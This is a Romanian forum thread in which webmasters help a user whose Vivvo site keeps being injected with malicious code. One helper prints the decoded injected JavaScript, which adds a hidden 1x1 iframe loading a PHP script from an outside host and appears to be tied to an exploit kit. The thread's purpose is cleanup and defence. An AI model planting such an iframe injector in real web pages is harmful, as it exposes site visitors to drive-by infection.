Versiune printabilă
Buna seara dragi colegi.
De o buna perioada de timp ma confrunt cu o serie de atacuri masive de hack care imi fac tandari buna parte dintre siteurile pe care le administrez.
Bunaoara, acum, la un interval de doar doua zile, un site ce ruleaza pe vivvo mi-a fost spart iar si injectat cu un cod suspect. Ceva parareri despre cum as putea securiza aceasta platforma?
Codul malitios este acesta:
http://pastebin.com/hFrvaVCh
nu stiu ce sa spun concret despre cazul prezentat, insa cele mai intalnite cauze ale injectiilor de tipul asta sunt:
* virus in calculatorul personal care fura parolele de ftp - solutie: schimbarea parolelor de la un calculator clean si apoi inlaturarea codului injectat
* updateuri ale platformei nefacute la timp
bauiesc ca nu e noutate ce zic, insa in situatii din astea uneori sarim peste elementele de baza
Ma uit eu putin si poate iti revin cu tot codul.
merci.
Ciudat este ca rahatul asta imi apare doar in chrome.
Poti sa imi dia pe privat URL-ul ?
--- Later Edit --- (ca mi-a fost lene sa apas "Edit")
Voila (codul de mai sus --ala uratul-- e de fapt cel mai de jos. Cel de mai sus este obfuscat):
(function() {
var xwu = document.createElement('iframe');
xwu.src = 'http://ftp.fly-euroharmony.com/site/XASASDAS.php';
xwu.style.position = 'absolute';
xwu.style.border = '0';
xwu.style.height = '1px';
xwu.style.width = '1px';
xwu.style.left = '1px';
xwu.style.top = '1px';
if (!document.getElementById('xwu')) {
document.write('<div id=\'xwu\'></div>');
docum nt.getElementById('xwu').appendChild(xwu);
}
})();
--- Later Edit --- (ca mi-a fost lene sa apas "Edit")
Acum,
Cum te-ai virusat e alta poveste..
romaneste please :)
unde naiba e mizeria asta? si ce trebuie facut?
Roby,
Mizeria asta ce face:
1. Iti pune un iframe pe pagina
2. Din iframe face o cererea catre script-ul de PHP (l-am modificat sa nu se viruseze cineva)
3. De acolo se incearca sa infecteze userul (care iti acceseaza pagina) cu un virus. Descriere aici: Web Attack: Cool Exploit Kit Website: Attack Signature - Symantec Corp.
Ce poti face:
1. Ia un antivirus mai bun (scaneaza-ti din nou tot). Eu folosesc Symantec (dar nu e free). Poti incearca Avira/Avast etc.
2. Verifica fisierele php, sa nu ami existe acest "virus"
2'. Fa update la tot: Java, Adobe, Windows, Browsere etc (sa nu te mai virusezi pe viitor)
3. In functie de ce CMS folosesti vezi sa fie totul la ultima versiune sau scaneaza-l de tot felul de vulnerabilitati: RFI, SQLinjection, LFI etc
4. Schimba parolele la FTP + Alte conturi (sa fii sigur)
Cam atat din pacate..
Merci fain.
Sper sa reusesc sa ii dau de cap.
eu as incepe cu punctul asta (executat de pe un calculator nevirusat, preferabil fara windows), apoi as trece la curatarea fisierelor din server, apoi as repeta schimbarea parolelor;Citat:
Postat în original de inSecure
separat, trebuie facuta si curatarea calculatorului virusat (fara login ftp de acolo pana nu e clean)
Roby,
Revin cu o comanda sa te ajute putin.
Am revenit:
1. Downloadeaza tot site-ul pe C:\backup\
2. Deschide cmd.exe si intra in C:\backup (comanda: cd c:\backup)
2. Da comanda in command prompt (cmd.exe): findstr /s "ff=String" *.* > c:\roby.txt
4. Deschide roby.txt (din C:) si vezi toate fisierele care au ff=string in ele.
5. Fa curatenie :)
merci fain
Vezi ca am postat in postul anterior.Citat:
Postat în original de robyroy
Ma copii, nu mai dati paste la coduri d-astea ca imi urla antivirusii de inebunesc. La adresa aia la care duce "codul tau malitios", chiar a fost un virus candva. Acum ca sa spunem cateva cuvinte despre subiect:
Cum a ajuns la tine? Sunt nelimitate posibilitatile dar intrun cuvant se numeste slaba securizare. Daca cineva ghiceste cum anume, e pura nimereala. Eu din 80 de siteuri cate am curatat anul asta, doar 2 aveau in comun felul cum au fost infectate.
Cum rezolvi? Maresti securitatea: schimbi parole, updatezi core site + pluginuri, pui restrictii pe unde este cazul.
Daca nu merge, il contactezi pe Haos. Rezolva baiatu' asta orice problema ar fi :)
Vezi ca vin cu hardu busit la matale. Mai e valabila recuperarea de date? :)
Un simplu multumesc este mult prea putin :) Raman dator vandut.Citat:
Postat în original de inSecure
Vad ca e deranj mare ....
Stii insa care este faza misto?
am un back-up curat (am verificat acum si e clean) . Cu back-up-ul acesta in urma cu cateva ore am rescris fisierele de pe server. Totul parea ok ..... dar surpriza... codul a aparut din neant, deindata ce am urcat back-up-ul.
Exista 3 variante (parere mea)Citat:
Postat în original de robyroy
1. Esti pe shared hosting, si e alt site virusat (si te viruseaza si pe tine). Le poti afla aici: Reverse IP Lookup - Find Other Web Sites Hosted on a Web Server
2. Inca esti virusat
3. Ai vreun cache pe PC. Ctrl+F5 si vezi daca mai e virusul:)
EU merg pe varianta 1.
Later edit: Eu zic cam 90% e prima.
"Found 949 domains hosted on the same web server as ...site-ul tau"
Eu merg pe varianta X: nu ai urmat instructiunile din sectiunea "cum rezolvi?", de aici. Poti sa modifici matale zilnic codul, pana nu astupi gaura, tot o sa ai scurgeri.
Iar vestea cea mai proasta este ca daca se prinde "baiatu" care ti-a infectat siteul ca incerci sa-i "furi painea de la gura", poate chiar sa-ti faca si o surpriza mai amara, stergandu-ti totul de pe server. Asta e tragic-medie :)
oh god :) : Found 951 domains hosted on the same web server as xxx.net (92.48.xxx.x).
Verific intai temeinic varianta 2. Am rulat un Norton Power Eraser care mi-a sters un programel pe care il foloseam pentru Share de poze ( Sharex, Daca ati auzit de el) .
Avastul saracul nu a marait nimic.
Haos,Citat:
Postat în original de haos
Nu sunt de acord cu tine. Poti tu sa astupi tot, daca e pe un share hosting cu 950+ de site-uri si 'hackerul' are privilegii de root, degeaba.
Trebuie sa contacteze providerul de hosting sau si mai simplu sa mute site-ul in alta parte.
@Roby,
Cel mai rapid si simplu, muta site-ul pe un alt cont (poate te ajuta cineva), modifica NS-urile si vezi apoi daca iar te virusezi.
Bre, pe contul asta mai am hostate inca vreo 6 siteuri. Nici unul inafara de asta nu e atins.
Cred ca necesita o mica cearta cu providerul :)
eu spun ca e mai rapid sa mergi pe un pc nou si sa schimbi parola ftp + sa cureti fisierele din server;
aproape toate cazurile pe care le cunosc direct erau infectate din cauza pc-ului si nu a serverului;
Asta e alta treaba :DCitat:
Postat în original de robyroy
Incearca ce a zis ciprian
inSecure, as fi de acord cu tine, daca nu as avea informatii suplimentare :D Intamplarea face ca eu sa-i fi oferit domnisorului Roby niste linkuri spre siteuri d-ale lui. Iar eu sunt paranoic cand vine vorba de securitate, asa ca am verificat inaintea lui hostul si "vecinii de ip". Raman la parerea mea :DCitat:
Postat în original de inSecure
Atunci nu mai zic nimic. Ai informatii suplimentare..eu sunt piua :DCitat:
Postat în original de haos
@Roby, sa ne tii la curent.
Intre timp i-am contactat si pe baietii cu site-ul folosit pentru a propaga virusul..
Intre timp eu ti-am dat un plus pentru asta :) Vad ca nu mai apare nimic la acea adresa.Citat:
Postat în original de inSecure
Thx! Vezi ca sfarsitul l-am schimbat. Era altceva ".php"Citat:
Postat în original de haos
@inSecure, Haos, Ciprian Olaru, va foarte multumesc pentru suport.
In acest moment siteul este curat. Am folosit desktopul pentru a face modificarile si pentru a schimba parola. Daca apare si maine bucuria, ma iau la cearta grav cu hosterul. Este prima oara in ultimii 4 ani de zile cand ma confrunt cu cava atat de agresiv.
Ooo, prima data in 4 ani.. de maine o sa-ti zic Sfantul Robert sau Preafericitul! Lasa domne' hostu in pace, ce-ai cu el? :)Citat:
Postat în original de robyroy
Oarecum off - aseara nu am putut intra pe acest topic deoarece imi sarea antivirusu', pe celelalte intram fara nici-o problema.
Ce antivirus folosesti?
Avastul nu a schitat nimic aseara. Dupa toate cele intamplate, l-am dezinstalat si am luat un trial Norton Internet Security pe care am in plan sa il si achizitionez daca se va dovedi a fi mai safe.
Ps: Totul pare ok acum. Am luat legatura si cu hostul si i-am rugat sa scaneze tot serverul. Deasemenea am mutat toate siteurile pe un ip dedicat contului meu reseller. Nu stiu in ce masura ma va proteja pe viitor, dar macar nu o sa mai am vecinatati nasoale.
Folosesc AVG. La fel ca si tine am folosit avast cu licenta si intrau virusii ca prin branza :).
Dava vrei sa achizitionezi un antivirus bun recomand Kaspersky! Ori de cate ori luam un virus puternic, instalam Kaspersky trial si imi curata tot.
Succes!
Pe langa antivirus am instalat si malwarebytes
aseara era un copy/paste al codului problema in topicul asta (care intre timp a disparut);Citat:
Postat în original de karismasand
cel mai probabil de asta se alarma antivirusul;
Pai nici eu nu puteam sa intru nici dupa ce am schimbat 2 antivirusi asa ca am rugat un domn dragut sa mute acel cod in pastebin. Pentru cine e interesat, il gaseste in formatul original in linkul de pastebin din primul pot al lui Roby. Alternativ, gasiti varianta decodata de inSecure in postul nr. 5.Citat:
Postat în original de Ciprian.Olaru
Roby e totul ok acum ?
Da, asa se pare.Citat:
Postat în original de inSecure
Merci mult pentru ajutor.
Sper sa iti dureze mai mult de 4 ani acum ;)Citat:
Postat în original de robyroy
Si eu m-am confruntat cu atacuri masive in ultima luna, am avut 20 de site-uri virusate, si nu de la parola sau virusarea computerului, conturi diferite cu parole si scripturi diferite, parole ce nu au fost folosite toate pe acelasi computer, in general WP a fost cel mai vulnerabil. Inclusiv un domeniu pe care aveam doar un fisier html de index, la care si uitasem parola de 1 an.
Eu am gasit fisiere ce nu contineau virusi ce inlocuiau ca denumire fisierele clasice ale WP iar fisierele respective permiteau upload de fisiere dubioase ce contineau virusi.
Nu mai deschid alt topic, stiu ca robert nu se supara
Acum am reusit sa curat mai putin www.coment.ro unde nu am avut timp sa ma ocup, cand ii dau drumul creste load la server la 90%
Hai ca cer si eu ajutorul cui vrea si poate sa repare coment.ro ca tipa toata lumea ca nu mai este functional sa publice articole